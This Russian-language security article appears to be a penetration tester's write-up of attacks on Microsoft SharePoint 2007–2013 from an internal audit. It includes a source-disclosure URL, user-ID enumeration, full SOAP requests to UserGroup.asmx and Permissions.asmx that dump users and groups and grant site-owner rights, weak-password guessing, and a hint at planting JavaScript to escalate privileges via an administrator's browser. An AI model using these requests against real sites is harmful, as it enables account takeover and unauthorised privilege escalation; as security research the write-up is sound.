Содержание статьи
SharePoint — корпоративная система хранения документации от Microsoft с возможностями CMS, сильно завязанная на Active Directory. В интернете можно нагуглить общие описания ее уязвимостей, но из-за закрытых деталей багов (да и продукта в целом) рабочих публичных эксплойтов практически нет. Хотя, конечно, это не означает, что взломать SharePoint невозможно.
Изыскания
Один из немногих интересных эксплойтов, который я смог найти, заключается в возможности загрузки исходных кодов ASPX-страниц, адрес которых заранее известен и доступен извне. Данная уязвимость работает только в версии 2007 шарика, эксплойт выглядит достаточно просто:
http://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&Source=http://www.example.com/Pages/Default.aspx&FldUrl=
Это может быть полезным, если на сайте есть проприетарный код. Но все же нужно знать адрес конкретной страницы.
Копнув чуть глубже, я нашел, что SharePoint содержит в себе ряд интересных веб-сервисов, к которым можно обратиться, будучи авторизованным на сайте пользователем с правами на чтение страниц.
Сами сервисы и их описание можно найти в каталоге _vti_bin. Вот пара примеров, как может выглядеть путь:
http://host/_vti_bin
http://host/sites/testsite/_vti_bin
Этот каталог и сервисы привязываются непосредственно к сайту, который расположен на SharePoint Server. То есть если у меня будет несколько сайтов в host/sites/, то для полноценного использования этой техники необходимо обращаться к сервисам внутри каталога каждого сайта. Описывать все сервисы в данной статье не имеет смысла. Я затрону пару из них, которые позволили мне успешно захватить чужую доменную учетку во время внутреннего аудита.
Recon
Итак, мы имеем сайт на SharePoint, и мы можем на нем авторизоваться. Для того чтобы захватить чужой аккаунт, неплохо знать его имя и представлять, имеет ли он для нас интерес или нет. Тут должна вступить в бой старая техника перечисления пользователей, которая может выглядеть так:
https://host/_layouts/UserDisp.aspx?ID=1
Инкрементируем ID, читаем информацию о пользователе (рис. 2).
Но что делать, если пользователей в компании «over 9000»? Постоянно инкрементировать руками или писать свой скрипт, цеплять на него функционал доменной авторизации по NTLM или KERBEROS достаточно трудоемко и неудобно. На помощь приходят сервисы, о которых я уже говорил. Среди них есть очень интересный сервис UserGroup.asmx, который позволяет одним запросом получить всех пользователей сайта разом в виде XML.
Выглядит запрос достаточно просто:
POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserCollectionFromSite xmlns="http://schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
И в итоге у нас есть XML-документ, содержащий список всех пользователей (см. рис. 3).
На рис. 4 и 5 видно, что мы получаем список сразу всех пользователей с сайта, включая их email, SID, ID и так далее.
Про «over 9000» пользователей я говорил не просто так: в моей практике я постоянно сталкиваюсь с такой ситуацией, и использование данного метода перечисления бывает мне очень полезно.
Takedown
Простым поиском по списку пользователей обычно находится куча тестовых аккаунтов. Как ты наверняка успел заметить, в нашей тестовой организации мультидоменная структура. Естественно полагать, что на разных доменах типа RND или у разных пользователей могут быть разные права доступа. Простым брутфорсом типа uname=pwd
или pwd=111111
получаем доступ к еще одной доменной учетке (рис. 6).
Казалось бы, простая особенность SharePoint, но итогом становится компрометация тестового аккаунта. В рамках организации «недовольный сотрудник» или, как говорится в американских фильмах, «неравнодушный гражданин» может использовать тестовый аккаунт для проведения атак, тем самым маскируя себя и делая более сложным свое обнаружение.
Аналогичным образом, используя данный сервис, можно посмотреть список групп и проверить, в какой группе находится пользователь. Это представляет интерес, потому что более увлекательной задачей будет захват учетки для пользователя из группы владельцев сайта или того, у кого есть права на размещение HTML-страниц на сайте.
Пример запроса на получения списка групп может выглядеть следующим образом:
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromSite xmlns="http://schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
В итоге нам вернется список групп на сайте, где помимо стандартных групп могут быть кастомные со своими масками разрешений (рис. 8).
Выбираем лакомый кусок
Как я и говорил, когда «жертва» выбрана, нам интересно узнать, стоит ли пытаться подобрать ее пароль. Для этого можно, например, выяснить, в каких группах есть выбранный аккаунт. При подборе пароля не стоит забывать о парольной политике, которая может сыграть злую шутку с атакующим и выдать его присутствие администраторам сети.
Приведу пример для системного аккаунта SHAREPOINT\system:
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromUser xmlns="http://schemas.microsoft.com/sharepoint/soap/directory/">
<userLoginName>SHAREPOINT\system</userLoginName>
</GetGroupCollectionFromUser>
</soap:Body>
</soap:Envelope>
В ответ получаем опять XML-документ, содержащий информацию о списке групп, в которых состоит пользователь (см. рис. 9).
Как можно заметить, аккаунт привязан к достаточно большому количеству интересных групп.
Права доступа
Сервис Permissions.asmx, располагающийся в том же каталоге _vti_bin
, создан для работы с разрешениями пользователей. У него достаточно немного методов (рис. 10), но все они интересны с точки зрения безопасности или своего функционала.
Наиболее интересным для меня методом стал AddPermission. Он, как и любой другой метод, достаточно хорошо описан, для того чтобы сформировать запрос к сервису.
Интерес в использовании данного метода заключается в том, чтобы добавить ограниченному пользователю права владельца сайта (или List). То есть если нам повезет и у нас будут права на создание HTML-страниц на сайте (один из способов получения пользователя с такими правами я описал выше, например, тестовый аккаунт из RND-домена, по определению research and development, должен иметь такие права), то, разместив свой JavaScript-зловред на сайте, мы можем повысить наши права, как только админ перейдет на нашу страницу. Кстати, те из нас, у кого карма и так хорошая, могут попробовать послать этот запрос из контекста ограниченного пользователя и надеяться, что сервер его пропустит :).
В следующем запросе я делаю попытку добавления прав ограниченному пользователю:
POST /_vti_bin/Permissions.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/directory/">
<objectName>testsite1</objectName>
<objectType>web</objectType>
<permissionIdentifier>i:0#.w|ra1d3n\test3</permissionIdentifier>
<permissionType>User</permissionType>
<permissionMask>-1</permissionMask>
</AddPermission>
</soap:Body>
</soap:Envelope>
Немного подробнее про параметры:
<objectName>testsite1</objectName>
— задаем имя объекта, в нашем случае это имя сайта;
<objectType>web</objectType>
— задаем тип объекта;
<permissionIdentifier>i:0#.w|ra1d3n\test3</permissionIdentifier>
— задаем, к кому мы хотим применить права;
<permissionType>User</permissionType>
— говорим, что они для пользователя;
<permissionMask>-1</permissionMask>
— устанавливаем маску разрешений для владельца сайта.
Стоит отметить, что мы не всегда можем узнать значение маски разрешений, которая есть на сайте, но для владельцев сайта, в моей практике, значение всегда -1. Получить список разрешений для сайта можно, используя метод GetPermissionCollection, однако к нему не всегда будет доступ у ограниченного пользователя.
Естественно полагать, что если делать запрос из контекста ограниченного пользователя, сервер отсечет его, но если немного извернуться с XMLHttpRequest и тем, что CORS ограничивает нас только другими хостами, то, думаю, вполне очевидно, какая уязвимость может быть использована для получения нужных нам прав. Аналогично данный метод может быть полезен, если у пользователя есть права на размещение HTML-страниц на сайте.
Outro
Сегодня мы рассмотрели лишь малую часть сервисов, которые я протестировал в ходе своего исследования. Естественно предполагать, что после получения админских прав на сайте SharePoint появится огромное желание не только чужие данные почитать, но и исполнить команды ОС. Тут в бой вступают навыки владения C#, ASP и .NET-платформой. Эти трюки работают во всех версиях SP, которые мне удалось протестировать (начиная с 2007 по 2013). Со временем подготовлю более интересные трюки, но пока disclosure policy ограничивает меня в этом.
WWW
Исследования в области безопасности SharePoint